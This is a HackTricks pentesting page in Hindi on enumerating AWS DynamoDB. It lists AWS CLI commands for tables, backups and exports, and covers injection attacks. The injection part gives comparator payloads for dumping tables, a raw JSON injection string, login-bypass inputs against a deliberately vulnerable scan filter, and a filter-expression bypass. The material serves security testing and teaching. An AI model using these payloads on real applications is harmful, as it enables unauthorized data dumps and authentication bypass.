AWS - DynamoDB Enum

Support HackTricks

DynamoDB

Basic Information

Amazon DynamoDB को AWS द्वारा पूर्ण रूप से प्रबंधित, सर्वर रहित, की-मान NoSQL डेटाबेस के रूप में प्रस्तुत किया गया है, जो उच्च प्रदर्शन वाले अनुप्रयोगों को उनके आकार की परवाह किए बिना शक्ति प्रदान करने के लिए तैयार किया गया है। यह सेवा मजबूत सुविधाओं की गारंटी देती है, जिसमें अंतर्निहित सुरक्षा उपाय, निरंतर बैकअप, कई क्षेत्रों में स्वचालित प्रतिकृति, एकीकृत इन-मेमोरी कैशिंग, और सुविधाजनक डेटा निर्यात उपयोगिताएँ शामिल हैं।

DynamoDB के संदर्भ में, पारंपरिक डेटाबेस स्थापित करने के बजाय, तालिकाएँ बनाई जाती हैं। प्रत्येक तालिका को तालिका की प्राथमिक कुंजी के एक अभिन्न घटक के रूप में पार्टीशन कुंजी का निर्दिष्ट करना अनिवार्य है। यह पार्टीशन कुंजी, जो मूल रूप से एक हैश मान है, वस्तुओं की पुनर्प्राप्ति और विभिन्न होस्टों के बीच डेटा के वितरण में महत्वपूर्ण भूमिका निभाती है। यह वितरण डेटाबेस की स्केलेबिलिटी और उपलब्धता बनाए रखने के लिए महत्वपूर्ण है। इसके अतिरिक्त, डेटा संगठन को और अधिक परिष्कृत करने के लिए सॉर्ट कुंजी को शामिल करने का विकल्प भी है।

Encryption

डिफ़ॉल्ट रूप से, DynamoDB एक KMS कुंजी का उपयोग करता है जो Amazon DynamoDB की है, न कि AWS द्वारा प्रबंधित कुंजी जो कम से कम आपके खाते की है।

Backups & Export to S3

तालिका बैकअप के निर्माण को अनुसूचीबद्ध करना या मांग पर बनाना संभव है। इसके अलावा, तालिका के लिए समय-समय पर पुनर्प्राप्ति (PITR) सक्षम करना भी संभव है। समय-समय पर पुनर्प्राप्ति आपके DynamoDB डेटा के निरंतर बैकअप प्रदान करती है 35 दिनों के लिए ताकि आप आकस्मिक लेखन या हटाने के संचालन से सुरक्षा कर सकें।

तालिका के डेटा को S3 में निर्यात करना भी संभव है, लेकिन तालिका को PITR सक्षम होना चाहिए।

GUI

स्थानीय Dynamo सेवाओं के लिए एक GUI है जैसे DynamoDB Local, dynalite, localstack, आदि, जो उपयोगी हो सकते हैं: https://github.com/aaronshaf/dynamodb-admin

Enumeration

# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

अनधिकृत पहुँच

AWS - DynamoDB Unauthenticated Access

प्रिवेस्क

AWS - DynamoDB Privesc

पोस्ट एक्सप्लोइटेशन

AWS - DynamoDB Post Exploitation

स्थिरता

AWS - DynamoDB Persistence

DynamoDB इंजेक्शन

SQL इंजेक्शन

DynamoDB डेटा तक पहुँचने के लिए SQL सिंटैक्स के साथ तरीके हैं, इसलिए, सामान्य SQL इंजेक्शन भी संभव हैं

NoSQL इंजेक्शन

DynamoDB में विभिन्न शर्तें डेटा प्राप्त करने के लिए उपयोग की जा सकती हैं, जैसे कि एक सामान्य NoSQL इंजेक्शन में यदि डेटा प्राप्त करने के लिए अधिक शर्तों को जोड़ना संभव है तो आप छिपा हुआ डेटा प्राप्त कर सकते हैं (या पूरी तालिका को डंप कर सकते हैं)। आप यहाँ DynamoDB द्वारा समर्थित शर्तें पा सकते हैं: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

ध्यान दें कि विभिन्न शर्तें समर्थित हैं यदि डेटा query के माध्यम से या scan के माध्यम से पहुँचाया जा रहा है।

वास्तव में, Query क्रियाओं को काम करने के लिए प्राथमिक कुंजी में शर्त "EQ" (बराबर) निर्दिष्ट करने की आवश्यकता होती है, जिससे यह NoSQL इंजेक्शन के लिए कम संवेदनशील हो जाता है (और ऑपरेशन को बहुत सीमित भी बनाता है)।

यदि आप तुलना को बदल सकते हैं या नए जोड़ सकते हैं, तो आप अधिक डेटा प्राप्त कर सकते हैं।

# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

कच्चा Json इंजेक्शन

यह भेद्यता dynamodb Scan Filter पर आधारित है जो अब अप्रचलित है!

DynamoDB Json ऑब्जेक्ट्स को DB के अंदर डेटा खोजने के लिए स्वीकार करता है। यदि आप पाते हैं कि आप खोज के लिए भेजे गए json ऑब्जेक्ट में लिख सकते हैं, तो आप DB का डंप बना सकते हैं, सभी सामग्री।

उदाहरण के लिए, एक अनुरोध में इंजेक्ट करना जैसे:

'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

एक हमलावर कुछ इस तरह इंजेक्ट कर सकता है:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

"EQ" स्थिति को ठीक करें जो ID 1000 के लिए खोज कर रहा है और फिर सभी डेटा के लिए देख रहा है जिनका Id स्ट्रिंग 0 से बड़ा है, जो कि सब है।

एक कमजोर उदाहरण लॉगिन का हो सकता है:

scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

यह निम्नलिखित के प्रति संवेदनशील होगा:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

कुछ SDKs एक स्ट्रिंग का उपयोग करने की अनुमति देते हैं जो प्रदर्शन किए जाने वाले फ़िल्टरिंग को इंगित करती है जैसे:

new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

आपको यह जानना आवश्यक है कि DynamoDB में फिल्टर एक्सप्रेशंस में वस्तुओं को स्कैन करते समय एक विशेषता मान को बदलने के लिए, टोकन को : वर्ण से शुरू होना चाहिए। ऐसे टोकन को वास्तविक विशेषता मान को रनटाइम में बदला जाएगा।

इसलिए, पिछले जैसे एक लॉगिन को इस तरह से बायपास किया जा सकता है:

:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
HackTricks का समर्थन करें

Last updated